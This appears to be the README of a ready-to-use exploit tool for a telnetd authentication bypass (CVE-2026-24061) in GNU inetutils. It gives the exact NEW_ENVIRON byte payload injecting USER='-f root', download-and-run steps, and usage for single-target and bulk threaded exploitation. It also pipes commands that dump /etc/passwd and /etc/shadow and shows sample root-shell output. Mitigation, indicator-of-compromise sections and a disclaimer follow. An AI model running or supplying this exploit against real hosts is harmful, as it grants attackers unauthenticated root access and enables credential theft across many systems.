## https://sploitus.com/exploit?id=DC337905-E9D4-54F5-AF69-0EB77C981CC0
# CVE-2026-24061
## GNU inetutils-telnetd - Remote Authentication Bypass
A security research tool for exploiting CVE-2026-24061, a critical remote authentication bypass vulnerability in GNU inetutils-telnetd that allows instant root shell access without authentication.
---
## Table of Contents
- [Vulnerability Summary](#vulnerability-summary)
- [Affected Versions](#affected-versions)
- [Technical Analysis](#technical-analysis)
- [Prerequisites](#prerequisites)
- [Installation](#installation)
- [Usage](#usage)
- [Output Reference](#output-reference)
- [Exploitation Methodology](#exploitation-methodology)
- [Mitigation and Remediation](#mitigation-and-remediation)
- [Indicators of Compromise](#indicators-of-compromise)
- [Legal Disclaimer](#legal-disclaimer)
- [References](#references)
- [Credits](#credits)
---
## Vulnerability Summary
| Field | Value |
|-------|-------|
| CVE Identifier | CVE-2026-24061 |
| CVSS v3.1 Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE Classification | CWE-88: Improper Neutralization of Argument Delimiters in a Command |
| Vendor | GNU Project |
| Product | inetutils-telnetd |
| Disclosure Date | January 20, 2026 |
| Patch Available | TBD |
### Executive Summary
A critical vulnerability exists in GNU inetutils-telnetd through version 2.7 that allows unauthenticated remote attackers to bypass authentication entirely and gain immediate root shell access. The vulnerability is exploited through the NEW_ENVIRON telnet option by injecting a specially crafted USER environment variable with the value "-f root", which bypasses all authentication mechanisms.
### Impact Assessment
- **Confidentiality**: Complete compromise of system data
- **Integrity**: Full system control with root privileges
- **Availability**: Potential for complete system takeover or denial of service
- **Scope**: Unchanged - exploitation affects only the vulnerable telnet service
---
## Affected Versions
| Version Range | Status |
|---------------|--------|
| 2.7 | Patch Status TBD |
---
## Technical Analysis
### Vulnerability Root Cause
The vulnerability originates from improper validation of the USER environment variable in the telnetd NEW_ENVIRON option handler. When processing the NEW_ENVIRON telnet option, the telnetd service fails to sanitize the USER variable value before passing it to the login process. By setting USER to "-f root", the attacker injects command-line arguments that force the authentication to succeed for the root user without requiring credentials.
### Attack Vector
1. Attacker connects to the telnetd service (typically port 23)
2. During telnet option negotiation, the server requests NEW_ENVIRON data
3. Attacker responds with USER environment variable set to "-f root"
4. The malicious argument bypasses authentication checks
5. Instant root shell is granted without any password prompt
6. Full system compromise is achieved
### Exploitation Complexity
- **Prerequisites**: Network access to target telnetd service
- **Authentication**: Not required
- **User Interaction**: None
- **Attack Complexity**: Low
---
## Prerequisites
### System Requirements
- Python 3.7 or higher
- Network connectivity to target telnetd instance(s)
- Sufficient permissions to execute Python scripts
### Dependencies
All dependencies are part of Python's standard library:
| Package | Purpose |
|---------|---------|
| socket | Network communication |
| select | I/O multiplexing |
| sys | System interaction |
| os | Operating system interface |
| threading | Concurrent target exploitation |
| datetime | Timestamp formatting |
---
## Installation
### Method 1: Using Git
```bash
# Clone the repository
git clone https://github.com/SystemVll/CVE-2026-24061.git
cd CVE-2026-24061
# Run the exploit
python3 main.py -u
```
### Method 2: Direct Download
```bash
# Download the exploit
curl -O https://raw.githubusercontent.com/SystemVll/CVE-2026-24061/main/main.py
# Make it executable (Linux/macOS)
chmod +x main.py
# Run the exploit
python3 main.py -u
```
### Method 3: Manual Installation
```bash
# Ensure Python 3.7+ is installed
python3 --version
# Download and run
python3 main.py -u
```
---
## Usage
### Command Line Interface
```
Usage:
python3 main.py -u [-p ] [-usr ]
python3 main.py -l [-p ] [-usr ]
echo "commands" | python3 main.py -u
Arguments:
-u Single target IP address or hostname
-l Path to file containing target IPs (one per line)
-p Target port (default: 23)
-usr User to exploit as (default: root)
```
### Single Target Exploitation
Exploit a single telnetd instance:
```bash
# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100
# Custom port
python3 main.py -u 192.168.1.100 -p 2323
# Different user
python3 main.py -u 192.168.1.100 -usr admin
```
### Command Execution Mode
Execute commands non-interactively:
```bash
# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
```
### Bulk Target Exploitation
Exploit multiple targets from a file:
```bash
python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin
```
**Target File Format** (`targets.txt`):
```text
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
```
Notes:
- One target per line
- IP addresses or hostnames
- Empty lines are ignored
- Targets are exploited concurrently using threading
---
## Output Reference
### Status Indicators
| Indicator | Color | Description |
|-----------|-------|-------------|
| `[SUCCESS]` | Green | Successfully connected to target |
| `[EXPLOIT]` | Green | Exploitation payload sent successfully |
| `[INFO]` | Blue | Informational message about current operation |
| `[ERROR]` | Red | Connection failure, timeout, or exploitation error |
| `[WARNING]` | Yellow | Warning message (not currently used) |
### Sample Output
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass โ
โ โ
โ CVSS Score: 9.8 (Critical) โ
โ Impact: Remote Authentication Bypass - Instant Root Shell โ
โ โ
โ This tool is part of the HGrab Framework. โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
```
---
## Exploitation Methodology
### Telnet Protocol Negotiation Process
The exploit leverages the telnet protocol negotiation phase:
1. **Initial Connection**: TCP connection established to target port
2. **Option Negotiation**: Server sends DO/WILL commands for various telnet options
3. **TTYPE Agreement**: Client agrees to send terminal type (WILL TTYPE)
4. **TSPEED Agreement**: Client agrees to send terminal speed (WILL TSPEED)
5. **NEW_ENVIRON Agreement**: Client agrees to send environment variables (WILL NEW_ENVIRON)
6. **Subnegotiation**: Server requests environment variables (SB NEW_ENVIRON SEND)
7. **Payload Injection**: Client sends USER="-f root" in NEW_ENVIRON response
8. **Authentication Bypass**: Server processes malicious USER variable
9. **Shell Access**: Root shell granted without authentication
### Payload Structure
```python
# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39
payload = bytes([
255, # IAC
250, # SB
39, # NEW_ENVIRON
0, # IS
0, # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
255, # IAC
240 # SE
])
```
### Interactive Session Handling
- **Input Multiplexing**: Uses `select.select()` for simultaneous socket and stdin monitoring
- **Non-blocking I/O**: Socket configured for non-blocking operations
- **Telnet Processing**: IAC sequences stripped from output for clean display
- **Timeout Management**: 30-second timeout for command execution
---
## Mitigation and Remediation
### Immediate Actions
1. **Disable telnetd**: Stop and disable the telnetd service immediately
```bash
# systemd-based systems
sudo systemctl stop telnetd
sudo systemctl disable telnetd
# xinetd-based systems
sudo service xinetd stop
sudo chkconfig telnet off
```
2. **Firewall Rules**: Block telnet port (23) at the firewall level
```bash
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# firewalld
sudo firewall-cmd --permanent --remove-service=telnet
sudo firewall-cmd --reload
```
3. **Network Isolation**: Remove telnet service from internet-facing systems
- Use internal network segments only
- Implement network access control lists (ACLs)
### Long-term Recommendations
| Action | Priority | Description |
|--------|----------|-------------|
| SSH Migration | Critical | Replace telnet with SSH for remote access |
| Patch Management | Critical | Monitor for and apply security updates |
| Service Audit | High | Identify and disable unnecessary network services |
| Network Segmentation | High | Isolate critical systems from public networks |
| Intrusion Detection | Medium | Deploy IDS/IPS to detect exploitation attempts |
| Access Control | Medium | Implement IP whitelisting for remote services |
### Alternative Solutions
**Use SSH instead of Telnet:**
```bash
# Install OpenSSH server
sudo apt-get install openssh-server # Debian/Ubuntu
sudo yum install openssh-server # RHEL/CentOS
# Enable and start SSH
sudo systemctl enable sshd
sudo systemctl start sshd
```
### Verification After Mitigation
```bash
# Verify telnetd is not running
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23
# Should return no results if properly disabled
```
---
## Indicators of Compromise
### Log Analysis
Review system logs for the following patterns:
**Authentication Logs:**
```bash
# Check for unusual login patterns
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure
# Look for suspicious USER environment variables
sudo grep "USER.*-f" /var/log/auth.log
```
**Network Logs:**
- Telnet connections from unexpected IP addresses
- Connections to port 23 outside normal operating hours
- Multiple rapid connections to telnet service
### System Artifacts
- Unexpected processes running as root
- Modified system configuration files
- Unauthorized user accounts
- New SSH keys in /root/.ssh/authorized_keys
- Suspicious cron jobs or scheduled tasks
### Network Indicators
- Outbound connections from the telnet service process
- Data exfiltration to external hosts
- Reverse shell connections
- Port scanning activity originating from compromised system
- Lateral movement attempts to other internal systems
### Detection Commands
```bash
# Check for active telnet connections
sudo netstat -antp | grep :23
# Review recent root logins
sudo last | grep root
# Check for modified system files
sudo rpm -Va # RHEL/CentOS
sudo debsums -c # Debian/Ubuntu
# List processes by root
sudo ps aux | grep root
# Check for unauthorized SSH keys
sudo cat /root/.ssh/authorized_keys
```
---
## Legal Disclaimer
**IMPORTANT: READ BEFORE USE**
This tool is provided strictly for:
- Authorized security assessments and penetration testing
- Educational and research purposes in controlled environments
- Defensive security operations with proper authorization
- Vulnerability assessment of systems you own or have explicit permission to test
**Prohibited Uses:**
- Unauthorized access to computer systems or networks
- Exploitation of systems without explicit written consent from the owner
- Any activity that violates local, state, federal, or international laws
- Malicious activities or unauthorized system compromise
**Liability:**
The authors, contributors, and distributors of this software assume NO responsibility or liability for misuse, damage, or illegal activities conducted with this tool. Users are solely responsible for:
- Ensuring compliance with all applicable laws and regulations
- Obtaining proper authorization before conducting security testing
- Any consequences resulting from the use or misuse of this software
**Legal Notice:**
Unauthorized access to computer systems is a serious criminal offense. Violations may result in prosecution under:
- Computer Fraud and Abuse Act (CFAA) - United States (18 U.S.C. ยง 1030)
- Computer Misuse Act 1990 - United Kingdom
- European Union Directive on Attacks against Information Systems
- Similar legislation in other jurisdictions worldwide
Penalties may include imprisonment, substantial fines, and civil liability.
**By using this tool, you acknowledge that you have read, understood, and agree to comply with this disclaimer and all applicable laws.**
---
## References
### Official Resources
- [GNU Inetutils Homepage](https://www.gnu.org/software/inetutils/)
- [GNU Inetutils Documentation](https://www.gnu.org/software/inetutils/manual/)
### Vulnerability Information
- [NVD - CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061)
- [MITRE CVE Record](https://vulners.com/cve/CVE-2026-24061)
- [OpenWall Disclosure (Jan 20, 2026)](http://www.openwall.com/lists/oss-security/2026/01/20/2)
- [OpenWall Discussion (Jan 20, 2026)](https://www.openwall.com/lists/oss-security/2026/01/20/8)
- [OpenWall Update (Jan 22, 2026)](http://www.openwall.com/lists/oss-security/2026/01/22/1)
### Related Documentation
- [CWE-88: Improper Neutralization of Argument Delimiters](https://cwe.mitre.org/data/definitions/88.html)
- [Telnet Protocol Specification (RFC 854)](https://tools.ietf.org/html/rfc854)
- [Telnet Environment Option (RFC 1408)](https://tools.ietf.org/html/rfc1408)
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
### Security Best Practices
- [NIST Guidelines for Remote Access](https://csrc.nist.gov/publications/)
- [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/)
- [SANS Security Resources](https://www.sans.org/security-resources/)
---
## Credits
- **Exploit Author**: IRIS C2 Team
- **Framework**: Part of the HGrab Framework
- **Discovery**: Security Research Community
- **Disclosure**: OpenWall mailing list contributors
---
## Changelog
| Version | Date | Changes |
|---------|------|---------|
| 1.0.0 | 2026-01-23 | Initial release |
---
## Support and Contact
For questions, issues, or contributions:
- **Issues**: Report bugs or request features via GitHub Issues
- **Security**: Report vulnerabilities responsibly to the maintainers
- **Contributions**: Pull requests are welcome
---
## License
This project is provided as-is for authorized security research and educational purposes only. No warranty is provided, express or implied. Use at your own risk and in accordance with all applicable laws and regulations.
**USE ONLY WITH PROPER AUTHORIZATION**